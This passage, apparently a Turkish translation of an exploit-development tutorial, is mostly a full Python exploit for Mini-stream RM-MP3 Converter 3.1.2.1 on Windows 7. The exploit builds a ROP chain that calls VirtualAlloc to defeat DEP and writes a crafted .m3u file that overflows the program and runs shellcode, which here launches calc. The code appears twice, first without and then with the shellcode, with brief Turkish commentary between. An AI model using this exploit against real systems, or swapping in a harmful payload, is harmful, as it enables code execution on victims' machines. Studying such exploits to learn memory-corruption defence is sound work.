# Remember (1) the stack grows downwards so we need to load the #
# values into the registers in reverse order! (2) We are going to do #
# some clever trickery to align our return after executing. To #
# acchieve this we will be filling EDI with a ROP-Nop and we will be #
# skipping ESP leaving it intact. #
# #
# EAX 90909090 => Nop #
# ECX 00000040 => flProtect #
# EDX 00001000 => flAl********Type #
# EBX 00000001 => dwSize #
# ESP ???????? => Leave as is #
# EBP ???????? => Call to ESP (jmp, call, push,..) #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #
# EDI 10019C60 => ROP-Nop same as EIP #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141) # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
#-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
#--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
#------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAl********Type
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
#-----------------------[flAl********Type (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
#----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
#------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
#---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
#----------------------------------------[PUSHAD -> pwnd!]-#
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a' #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
Her şeyin istendiği gibi çalıştığını doğrulamak için hata ayıklayıcıdaki ROP-Chainden geçebilirsiniz. Aşağıdaki ekran görüntüsünde, VirtualAlloc çağrısının yığında ayarlandığını görebilirsiniz. Bu çağrıdan sonra yerleştireceğimiz herhangi bir payload çalıştırılacaktır.
Shell Kodu + Oyun Bitti
Geriye kalan tek şey, ikinci aşama payloadı olarak bir shell kodu eklemektir. Çok fazla bellek ayırmayı başaramadık bu yüzden boş alanımız sınırlı ama SkyLinedın calc shell kodunu ekledim (eğer ilgili iseniz buraya göz atabilirsiniz). Daha fazla bellek elde etmek mümkündür ancak bununla uğraşmaları için bu işi dikkatli okuyucularıma bırakıyorum.
Kod:
#!/usr/bin/python
#----------------------------------------------------------------------------------#
# Exploit: Mini-stream RM-MP3 Converter 3.1.2.1 (*.m3u) #
# OS: Win7 Pro SP1 #
# Author: b33f (Ruben Boonen) #
# Software: http://www.exploit-db.com/wp-content/themes/exploit/applications #
# /ce47c348747cd05020b242da250c0da3-Mini-streamRM-MP3Converter.exe #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 7 of my Exploit Development tutorial #
# series - http://www.fuzzysecurity.com/tutorials/expDev/7.html #
#----------------------------------------------------------------------------------#
import sys, struct
file="crash.m3u"
#---------------------------------------------------------[Structure]-#
# LP**** WINAPI VirtualAlloc( => PTR to VirtualAlloc #
# _In_opt_ LP**** lpAddress, => Return Address (Call to ESP) #
# _In_ SIZE_T dwSize, => dwSize (0x1) #
# _In_ DWORD flAl********Type, => flAl********Type (0x1000) #
# _In_ DWORD flProtect => flProtect (0x40) #
# ); #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the stack grows downwards so we need to load the #
# values into the registers in reverse order! (2) We are going to do #
# some clever trickery to align our return after executing. To #
# acchieve this we will be filling EDI with a ROP-Nop and we will be #
# skipping ESP leaving it intact. #
# #
# EAX 90909090 => Nop #
# ECX 00000040 => flProtect #
# EDX 00001000 => flAl********Type #
# EBX 00000001 => dwSize #
# ESP ???????? => Leave as is #
# EBP ???????? => Call to ESP (jmp, call, push,..) #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #
# EDI 10019C60 => ROP-Nop same as EIP #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141) # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
#-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
#--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
#------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAl********Type
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
#-----------------------[flAl********Type (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
#----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
#------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
#---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
#----------------------------------------[PUSHAD -> pwnd!]-#
# SkyLined's Calc shellcode
calc = (
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a' #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) #
#---------------------------------------------------------------------#
shell = "\x90"*5 + calc
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + shell + "C"*(7572-len(rop + shell))
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()